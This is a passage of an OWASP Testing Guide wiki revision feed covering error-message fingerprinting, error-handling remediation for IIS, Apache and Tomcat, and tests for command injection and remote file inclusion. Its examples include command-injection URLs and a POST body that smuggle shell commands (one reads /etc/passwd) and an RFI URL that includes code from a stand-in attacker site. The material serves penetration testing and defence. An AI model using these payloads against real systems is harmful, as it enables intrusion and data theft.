•  The authentication required by FW-1 is: unknown.&lt;br /&gt;
•  Reason for failure of last attempt: no user&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 400 Bad Request'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 400 Bad Request&lt;br /&gt;
Date: Fri, 06 Dec 2013 23:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 301&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 405 Method Not Allowed'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
Host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 405 Method Not Allowed&lt;br /&gt;
Date: Fri, 07 Dec 2013 00:48:57 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Allow: GET, HEAD, POST, OPTIONS&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 315&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;405 Method Not Allowed&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 408 Request Time-out'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
-	Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 408 Request Time-out&lt;br /&gt;
Date: Fri, 07 Dec 2013 00:58:33 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 298&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;408 Request Time-out&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 501 Method Not Implemented'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
RENAME /index.html HTTP/1.1&lt;br /&gt;
Host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 501 Method Not Implemented&lt;br /&gt;
Date: Fri, 08 Dec 2013 09:59:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Allow: GET, HEAD, POST, OPTIONS&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 299&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;501 Method Not Implemented&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enumeration of directories by using access denied error messages:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://&amp;lt;host&amp;gt;/&amp;lt;dir&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Directory Listing Denied&lt;br /&gt;
This Virtual Directory does not allow contents to be listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Forbidden&lt;br /&gt;
You don't have permission to access /&amp;lt;dir&amp;gt; on this server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* [1] ErrorMint - http://sourceforge.net/projects/errormint/ &amp;lt;br&amp;gt;&lt;br /&gt;
* [2] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1&lt;br /&gt;
* [2] [[http://httpd.apache.org/docs/2.2/mod/core.html#errordocument ErrorDocument]] Apache ErrorDocument Directive&lt;br /&gt;
* [3] [[http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride AllowOverride]] Apache AllowOverride Directive&lt;br /&gt;
* [4] [[http://httpd.apache.org/docs/2.2/mod/core.html#servertokens ServerTokens]] Apache ServerTokens Directive&lt;br /&gt;
* [5] [[http://httpd.apache.org/docs/2.2/mod/core.html#serversignature ServerSignature]] Apache ServerSignature Directive&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;br /&gt;
&lt;br /&gt;
==Remediation==&lt;br /&gt;
&lt;br /&gt;
===Error Handling in IIS and ASP .net===&lt;br /&gt;
&lt;br /&gt;
ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user). &lt;br /&gt;
&lt;br /&gt;
IIS uses a set of custom error pages generally found in c:\winnt\help\iishelp\common to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.&lt;br /&gt;
&lt;br /&gt;
There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net: &lt;br /&gt;
&lt;br /&gt;
# Inside Web.config customErrors section&lt;br /&gt;
# Inside global.asax Application_Error Sub&lt;br /&gt;
# At the the aspx or associated codebehind page in the Page_Error sub&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors using web.config'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;customErrors defaultRedirect=&amp;quot;myerrorpagedefault.aspx&amp;quot; mode=&amp;quot;On|Off|RemoteOnly&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;error statusCode=&amp;quot;404&amp;quot; redirect=&amp;quot;myerrorpagefor404.aspx&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;error statusCode=&amp;quot;500&amp;quot; redirect=&amp;quot;myerrorpagefor500.aspx&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/customErrors&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mode=&amp;quot;On&amp;quot; will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.&lt;br /&gt;
&lt;br /&gt;
All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. &lt;br /&gt;
A status code 404 will be handled by myerrorpagefor404.aspx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors in Global.asax'''&lt;br /&gt;
&lt;br /&gt;
When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs) &lt;br /&gt;
     Handles MyBase.Error&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors in Page_Error sub'''&lt;br /&gt;
&lt;br /&gt;
This is similar to application error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs) &lt;br /&gt;
     Handles MyBase.Error&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Error hierarchy in ASP .net'''&lt;br /&gt;
&lt;br /&gt;
Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web.config file.&lt;br /&gt;
&lt;br /&gt;
Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''How to test for ASP.net and IIS Error Handling'''&lt;br /&gt;
&lt;br /&gt;
Fire up your browser and type a random page name &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http:\\www.mywebserver.com\anyrandomname.asp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the server returns &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The page cannot be found&lt;br /&gt;
&lt;br /&gt;
Internet Information Services&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
it means that IIS custom errors are not configured. Please note the .asp extension.&lt;br /&gt;
&lt;br /&gt;
Also test for .net custom errors. Type a random page name with aspx extension in your browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http:\\www.mywebserver.com\anyrandomname.aspx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the server returns&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Server Error in '/' Application.&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
The resource cannot be found. &lt;br /&gt;
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
custom errors for .net are not configured.&lt;br /&gt;
&lt;br /&gt;
===Error Handling in Apache===&lt;br /&gt;
&lt;br /&gt;
Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.&lt;br /&gt;
&lt;br /&gt;
Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ErrorDocument 404 “Customized Not Found error message”&lt;br /&gt;
ErrorDocument 403 /myerrorpagefor403.html&lt;br /&gt;
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3]&lt;br /&gt;
&lt;br /&gt;
The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. “ServerSignature Off” (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Error Handling in Tomcat===&lt;br /&gt;
&lt;br /&gt;
Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.&lt;br /&gt;
&lt;br /&gt;
Customization of the error responses can be configured in the configuration file web.xml.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;error-page&amp;gt;&lt;br /&gt;
	&amp;lt;error-code&amp;gt;404&amp;lt;/error-code&amp;gt;&lt;br /&gt;
	&amp;lt;location&amp;gt;/myerrorpagefor404.html&amp;lt;/location&amp;gt;&lt;br /&gt;
&amp;lt;/error-page&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Buffer_Overflow_(OTG-INPVAL-014)&amp;diff=180315</id>
		<title>Testing for Buffer Overflow (OTG-INPVAL-014)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Buffer_Overflow_(OTG-INPVAL-014)&amp;diff=180315"/>
				<updated>2014-08-08T13:23:27Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==Summary==&lt;br /&gt;
&lt;br /&gt;
To find out more about buffer overflow vulnerabilities, please go to [[Buffer Overflow]] pages.&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Buffer_overflow_attack|Buffer Overflow]] Attacks.&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Buffer_Overflow|Buffer Overflow]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to test ==&lt;br /&gt;
&lt;br /&gt;
Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* [[Testing_for_Heap_Overflow|Testing for heap overflow vulnerability]]&lt;br /&gt;
* [[Testing_for_Stack_Overflow|Testing for stack overflow vulnerability]]&lt;br /&gt;
* [[Testing_for_Format_String|Testing for format string vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Code Review===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing_Code_for_Buffer_Overruns_and_Overflows|Review Code for Buffer Overruns and Overflows]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Remediation==&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Buffer_Overflows|Avoid Buffer Overflow]] Vulnerabilities.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=180314</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=180314"/>
				<updated>2014-08-08T13:22:07Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
When viewing a file in a web application, the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the file name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]]&amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remediation == &lt;br /&gt;
===Sanitization===&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters should be created to validate the user input.  Characters that were missed, as well as undiscovered threats, should be eliminated by this list.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=180313</id>
		<title>Testing for Remote File Inclusion</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=180313"/>
				<updated>2014-08-08T13:21:22Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
 &lt;br /&gt;
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a &amp;quot;dynamic file inclusion&amp;quot; mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:&lt;br /&gt;
&lt;br /&gt;
*Code execution on the web server&lt;br /&gt;
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)&lt;br /&gt;
*Denial of Service (DoS)&lt;br /&gt;
*Sensitive Information Disclosure&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Remote File Inclusion''' (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Since RFI occurs when paths passed to &amp;quot;include&amp;quot; statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$incfile = $_REQUEST[&amp;quot;file&amp;quot;];&lt;br /&gt;
include($incfile.&amp;quot;.php&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case the remote file is going to be included and any code contained in it is going to be run by the server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion&lt;br /&gt;
* Wikipedia: &amp;quot;Remote File Inclusion&amp;quot; - http://en.wikipedia.org/wiki/Remote_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Local_File_Inclusion&amp;diff=180312</id>
		<title>Testing for Local File Inclusion</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Local_File_Inclusion&amp;diff=180312"/>
				<updated>2014-08-08T13:20:55Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Summary ==&lt;br /&gt;
 &lt;br /&gt;
